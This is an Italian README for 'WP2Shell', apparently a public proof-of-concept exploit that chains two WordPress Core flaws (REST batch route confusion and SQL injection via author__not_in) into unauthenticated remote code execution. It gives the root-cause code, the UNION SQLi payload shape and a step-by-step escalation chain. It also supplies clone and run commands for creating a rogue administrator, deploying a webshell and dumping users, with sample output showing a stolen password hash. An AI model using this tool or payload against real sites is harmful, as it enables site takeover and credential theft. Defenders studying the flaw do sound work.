
WordPress Core Pre-Auth RCE tramite REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)
<p align="center">
<img src="https://img.shields.io/badge/python-3.8+-3776AB?style=flat-square&logo=python&logoColor=white">
<img src="https://img.shields.io/badge/CVE-2026--63030-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/CVE-2026--60137-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/CVSS-9.8_CRITICAL-CC0000?style=flat-square">
<img src="https://img.shields.io/badge/license-MIT-97CA00?style=flat-square">
</p>
<h3 align="center">CVE-2026-63030 + CVE-2026-60137 — WP2Shell</h3>
<h4 align="center">WordPress Core RCE pre-autenticazione tramite confusione delle route batch REST + SQLi</h4>
---
## Panoramica
**CVE-2026-63030** (CVSS 9.8) e **CVE-2026-60137** (CVSS 9.1) formano una catena critica di **esecuzione remota di codice pre-autenticazione** in **WordPress Core**. Le vulnerabilità colpiscono tutte le installazioni WordPress predefinite, versioni **6.9.0–6.9.4** e **7.0.0–7.0.1**.
La catena è stata **scoperta autonomamente da GPT-5.6 Sol Ultra** (OpenAI) in poco più di 10 ore al costo di ~$25 — una classe di vulnerabilità valutata **$500.000** sui mercati dei broker di exploit.
Un attaccante non autenticato ottiene la RCE tramite:
1. **Confusione delle route batch REST** (CVE-2026-63030) — desincronizzazione degli array interni handler-to-request di WordPress
2. **SQL injection tramite `author__not_in`** (CVE-2026-60137) — bypass della sanitizzazione `absint()` con una stringa scalare
3. **Avvelenamento della cache tramite UNION SELECT** — forgiatura di 7 oggetti `WP_Post` falsi in memoria
4. **Persistenza oEmbed** — conversione della SQLi di sola lettura in scritture reali sul database
5. **Dirottamento di `customize_changeset`** — assunzione temporanea dell'identità dell'amministratore
6. **Rientro nell'hook `parse_request`** — riesecuzione della REST API con privilegi elevati
7. **`POST /wp/v2/users` come admin** — creazione di un nuovo account amministratore
> **Installazioni attive:** 472+ milioni (43% di tutti i siti web)
> **Scoperta da:** GPT-5.6 Sol Ultra tramite Adam Kues (Searchlight Cyber), luglio 2026
> **PoC della catena:** Mustafa Can İPEKÇİ (nukedx)
> **Patch:** WordPress 6.9.5 / 7.0.2 / 6.8.6 (17 luglio 2026)
### Versioni interessate
| Ramo | Vulnerabile | Corretta |
|---|---|---|
| 6.9.x | 6.9.0 – 6.9.4 | 6.9.5 |
| 7.0.x | 7.0.0 – 7.0.1 | 7.0.2 |
| 6.8.x | Solo SQLi (CVE-2026-60137) | 6.8.6 |
---
## Meccanismo della vulnerabilità
### Causa principale 1: Confusione delle route batch (CVE-2026-63030)
Il processore batch REST di WordPress (`serve_batch_request_v1`) mantiene due array: `$validation[]` (risultati di validazione) e `$matches[]` (gestori delle route). Quando `wp_parse_url()` fallisce su un percorso malformato (`///`), un `WP_Error` viene inserito nella catena di validazione ma **non** nella catena di corrispondenza delle route:
```php
// class-wp-rest-server.php
$parsed_url = wp_parse_url( $args['path'] );
if ( false === $parsed_url ) {
$requests[] = new WP_Error( 'parse_path_failed', ... );
continue; // ← SKIPS $matches[] — desync by one index
}
```
L'exploit utilizza chiamate batch **annidate (ricorsive)** per bypassare sia le restrizioni sui metodi sia la sanitizzazione dei parametri.
### Causa principale 2: SQL injection tramite `author__not_in` (CVE-2026-60137)
`WP_Query` applica la sanitizzazione `absint()` solo all'interno del ramo `is_array()`. Quando `author__not_in` arriva come stringa scalare, la sanitizzazione viene **completamente saltata**:
```php
// class-wp-query.php
if ( ! empty( $query_vars['author__not_in'] ) ) {
if ( is_array( $query_vars['author__not_in'] ) ) {
$query_vars['author__not_in'] = array_unique( array_map( 'absint', ... ) ); // ONLY if array
}
$author__not_in = implode( ',', (array) $query_vars['author__not_in'] ); // scalar passes raw
$where .= " AND {$wpdb->posts}.post_author NOT IN ($author__not_in) "; // SQL INJECTION
}
```
Payload: `0) UNION ALL SELECT ...-- -` chiude la lista `NOT IN` e aggiunge SQL arbitrario.
### Catena di escalation
```
[1] Batch desync → bypass auth + param checks
[2] UNION SELECT → forge 7 fake WP_Post objects in cache
├─ Trigger post — [embed] shortcode
├─ Changeset post — post_type=customize_changeset, post_status=future
├─ Outer partner — post_parent=changeset (Loop 1)
├─ oEmbed target — cache backing
├─ Nav menu item — post_type=nav_menu_item
├─ Request post — post_type=request, post_status=parse (Loop 2)
└─ Inner partner — post_parent=request
[3] oEmbed processing → wp_update_post() → hierarchy cycle detection
[4] Loop 1 fix → writes changeset to DB without overwriting post_content
[5] _wp_customize_publish_changeset() → wp_set_current_user(admin_id)
[6] Loop 2 fix → writes request post → do_action("parse_request")
[7] rest_api_loaded() → serve_request() → batch replayed as ADMIN
[8] POST /wp/v2/users → administrator created
```
### Prerequisiti per la RCE completa
| Requisito | Motivo | Predefinito? |
|---|---|---|
| Almeno 1 post pubblicato | Popola la cache oEmbed con URL di loopback | ✅ "Hello World" |
| Nessuna cache di oggetti persistente | Le righe UNION non devono essere scartate da split_the_query | ✅ Cache su file |
| REST API accessibile | Il rientro tramite parse_request richiede il server REST | ✅ |
| Scrittura diretta sul filesystem | Il caricamento dei plugin richiede FS_METHOD=direct | ✅ La maggior parte degli host |
---
## Installazione
```bash
git clone https://github.com/shinthink/CVE-2026-63030.git
cd CVE-2026-63030
pip3 install -r requirements.txt # or: nothing — stdlib only
```
## Utilizzo
```bash
# Full chain — create admin account (pre-auth)
python3 cve_2026_63030.py --url https://target.com
# Check only (non-destructive — verify vulnerability)
python3 cve_2026_63030.py --url https://target.com --check
# Full chain + deploy RCE webshell
python3 cve_2026_63030.py --url https://target.com --rce id
# Dump all users via UNION extraction
python3 cve_2026_63030.py --url https://target.com --dump-users
```
### Output
```
+======================================================================+
| wp2shell -- Pre-Auth RCE PoC (Educational / Research) |
| CVE-2026-60137 (SQLi) + CVE-2026-63030 (Batch Route Confusion) |
+======================================================================+
Target : https://target.com
Mode : FULL CHAIN
[STEP 1] Verifying batch endpoint + route-confusion desync
[+] Batch endpoint reachable (HTTP 207)
[+] Desync confirmed (markers: parse_path_failed, rest_batch_not_allowed)
[STEP 2] UNION SQLi — database reconnaissance
[+] Database version : 8.0.46
[+] Database user : wp_user@localhost
[+] Database name : wordpress_db
[+] Table prefix : wp_
[+] Admin login : admin
[+] Admin hash : $P$B5xK3mwBxY2dOe/MKWx5VXGihwSUO
[+] Admin user ID : 1
[STEP 3] Creating a fresh administrator via oEmbed post-cache poisoning
[*] Seeding oEmbed cache with 3 loopback URLs...
[+] oEmbed cache IDs: [6, 7, 8]
[*] Submitting changeset poison + user creation...
[+] Admin created -- username: wp2_a1b2c3d4 password: Wp2!e5f6g7h8i9j0
+======================================================================+
| EXPLOITATION COMPLETE |
+======================================================================+
Admin : wp2_a1b2c3d4 / Wp2!e5f6g7h8i9j0
Login : https://target.com/wp-login.php
```
---
## File
| File | Scopo |
|---|---|
| `cve_2026_63030.py` | Exploit a bersaglio singolo (zero dipendenze) |
| `requirements.txt` | Dipendenze Python (nessuna necessaria) |
## Riferimenti
- [SLCyber — Report sulla scoperta di GPT-5.6 Sol](https://slcyber.io/research-center/exploit-brokers-pay-500000-for-a-wordpress-rce-i-found-one-with-gpt5-6/)
- [WordPress.org — Rilascio di sicurezza](https://wordpress.org/news/2026/07/wordpress-6-9-5-security-release/)
- [Wiz — Sfruttamento in the Wild](https://www.wiz.io/blog/wp2shell-cve-2026-63030-cve-2026-60137)
- [Tenable — FAQ](https://www.tenable.com/blog/wp2shell-cve-2026-63030-cve-2026-60137-frequently-asked-questions-about-remote-code-execution)
## Disclaimer
Solo per test di sicurezza autorizzati e ricerca educativa. Gli autori non si assumono alcuna responsabilità per un uso improprio.